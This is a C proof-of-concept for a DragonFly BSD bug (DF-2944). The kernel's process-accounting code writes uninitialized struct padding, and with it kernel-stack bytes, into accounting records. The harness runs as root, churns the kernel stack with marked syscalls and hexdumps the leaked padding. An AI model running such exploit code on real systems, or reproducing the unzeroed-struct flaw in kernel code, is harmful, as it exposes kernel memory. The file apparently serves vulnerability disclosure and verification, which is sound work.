/*
 * DF-2944 PoC: uninitialized kernel-stack bytes leaked into process
 * accounting records (sys/kern/kern_acct.c acct_process()).
 *
 * struct acct on DragonFly x86_64 has:
 *   offset  0..15  ac_comm[16]
 *   offset 16..17  ac_utime (comp_t u16)
 *   offset 18..19  ac_stime (comp_t u16)
 *   offset 20..21  ac_etime (comp_t u16)
 *   offset 22..23  *** PADDING (uninitialized) ***
 *   offset 24..31  ac_btime (time_t, 8-byte aligned)
 *   offset 32..35  ac_uid
 *   offset 36..39  ac_gid
 *   offset 40..41  ac_mem
 *   offset 42..43  ac_io
 *   offset 44..47  ac_tty (dev_t = __uint32_t, sys/stat.h:61)
 *   offset 48      ac_flag (u8)
 *   offset 49..55  *** PADDING (uninitialized) ***
 *
 * acct_process() (kern_acct.c:195-282) assigns every *field* but never
 * zeroes the struct, then vn_rdwr()s all 56 bytes (kern_acct.c:276) into
 * the accounting file.  The 9 padding bytes contain whatever the exiting
 * thread's kernel stack held at those addresses from earlier syscalls.
 *
 * This harness (run as root):
 *   1. creates the accounting file and enables accounting (acct(2), SYS 51)
 *   2. forks children that (a) drop to uid 65534 and (b) churn the kernel
 *      stack with recognizable syscalls (udp sendto to port 0x5A5A,
 *      payload 0xC3..) and then exit
 *   3. also runs an exec-wave: children execve() /tmp/acct_helper which
 *      churns and exits (deep exec-path stack residue)
 *   4. disables accounting
 *   5. parses every 56-byte record and hexdumps bytes [22..23] and [49..55]
 *
 * Success criterion: padding bytes are non-zero and vary across records,
 * proving kernel-stack disclosure into the accounting file.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/acct.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stddef.h>

#define ACCTFILE "/var/acct_leak.dat"
#define HELPER   "/tmp/acct_helper"
#define NCHILD   25

/* DragonFly: init_sysent.c "51 = acct" */
#define SYS_acct_df 51

/* layout proof against the guest's own <sys/acct.h> */
_Static_assert(sizeof(struct acct) == 56, "struct acct layout");
_Static_assert(offsetof(struct acct, ac_btime) == 24, "ac_btime offset");
_Static_assert(offsetof(struct acct, ac_tty) == 44, "ac_tty offset");
_Static_assert(offsetof(struct acct, ac_flag) == 48, "ac_flag offset");

/* kernel-stack churn: leave recognizable bytes deep in the syscall path */
static void
churn(void)
{
	struct sockaddr_in sin;
	unsigned char buf[64];
	int i, s;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(0x5A5A);		/* recognizable 0x5a5a */
	sin.sin_addr.s_addr = htonl(0x7F000001U);
	memset(buf, 0xC3, sizeof(buf));		/* recognizable 0xc3c3.. */

	for (i = 0; i < 30; i++) {
		s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s < 0)
			continue;
		sendto(s, buf, sizeof(buf), 0,
		       (struct sockaddr *)&sin, sizeof(sin));
		/* a few more stack-using syscalls */
		getsockname(s, (struct sockaddr *)&sin,
			    &(socklen_t){sizeof(sin)});
		close(s);
	}
}

static void
drop_uids(void)
{
	if (geteuid() == 0) {
		if (setgid(65534) != 0)
			_exit(66);
		if (setuid(65534) != 0)
			_exit(66);
	}
}

int
main(void)
{
	int i, fd, acfd;
	pid_t pid;
	int status;

	/* 1. fresh accounting file (vn_open has no O_CREAT) */
	unlink(ACCTFILE);
	fd = open(ACCTFILE, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (fd < 0) { perror("open acctfile"); exit(1); }
	close(fd);

	/* 2. enable accounting: syscall 51 */
	if (syscall(SYS_acct_df, ACCTFILE) != 0) {
		perror("acct(on)");
		exit(1);
	}
	printf("[+] accounting enabled on %s\n", ACCTFILE);

	/* 3a. fork-wave: drop uid, churn kernel stack, exit */
	for (i = 0; i < NCHILD; i++) {
		pid = fork();
		if (pid == 0) {
			drop_uids();
			churn();
			_exit(7);
		}
	}
	for (i = 0; i < NCHILD; i++)
		wait(&status);

	/* 3b. exec-wave: execve helper (deep exec-path stack usage), churn, exit */
	for (i = 0; i < NCHILD; i++) {
		pid = fork();
		if (pid == 0) {
			char *av[] = { HELPER, NULL };
			execve(HELPER, av, NULL);
			_exit(66);
		}
	}
	for (i = 0; i < NCHILD; i++)
		wait(&status);

	/* 4. disable accounting */
	if (syscall(SYS_acct_df, NULL) != 0) {
		perror("acct(off)");
		exit(1);
	}
	printf("[+] accounting disabled; %d+%d children exited\n",
	       NCHILD, NCHILD);

	/* 5. parse records */
	FILE *f = fopen(ACCTFILE, "rb");
	if (!f) { perror("fopen"); exit(1); }

	unsigned char rec[56];
	int n = 0, nz = 0, nz1 = 0, nz2 = 0;
	char seen_pad2[256][8];
	int nseen = 0;

	printf("%-4s %-17s %-6s %-4s  %-12s %s\n",
	       "#", "comm", "uid", "flag", "pad[22:24]", "pad[49:56]");
	while (fread(rec, 1, 56, f) == 56) {
		n++;
		char comm[17];
		memcpy(comm, rec, 16);
		comm[16] = 0;
		uid_t uid;
		memcpy(&uid, rec + 32, 4);
		int flag = rec[48];
		int p1_nz = (rec[22] | rec[23]) != 0;
		int p2_nz = 0;
		for (i = 0; i < 7; i++)
			if (rec[49 + i])
				p2_nz = 1;
		if (p1_nz) nz1++;
		if (p2_nz) nz2++;
		if (p1_nz || p2_nz) {
			nz++;
			if (nseen < 256)
				memcpy(seen_pad2[nseen++], rec + 49, 7);
		}
		printf("%-4d %-17s %-6u 0x%02x %02x%02x          "
		       "%02x %02x %02x %02x %02x %02x %02x%s\n",
		       n, comm, uid, flag,
		       rec[22], rec[23],
		       rec[49], rec[50], rec[51], rec[52],
		       rec[53], rec[54], rec[55],
		       (p1_nz || p2_nz) ? "  <-- UNINIT" : "");
	}
	fclose(f);

	printf("\n=== %d records, %d with nonzero padding "
	       "(pad1: %d, pad2: %d) ===\n", n, nz, nz1, nz2);

	int distinct = 0;
	for (i = 0; i < nseen; i++) {
		int j, dup = 0;
		for (j = 0; j < i; j++)
			if (memcmp(seen_pad2[i], seen_pad2[j], 7) == 0)
				dup = 1;
		if (!dup)
			distinct++;
	}
	printf("distinct pad2 patterns: %d\n", distinct);

	if (nz > 0)
		printf("LEAK-CONFIRMED\n");
	else
		printf("ALL-ZERO\n");
	return 0;
}
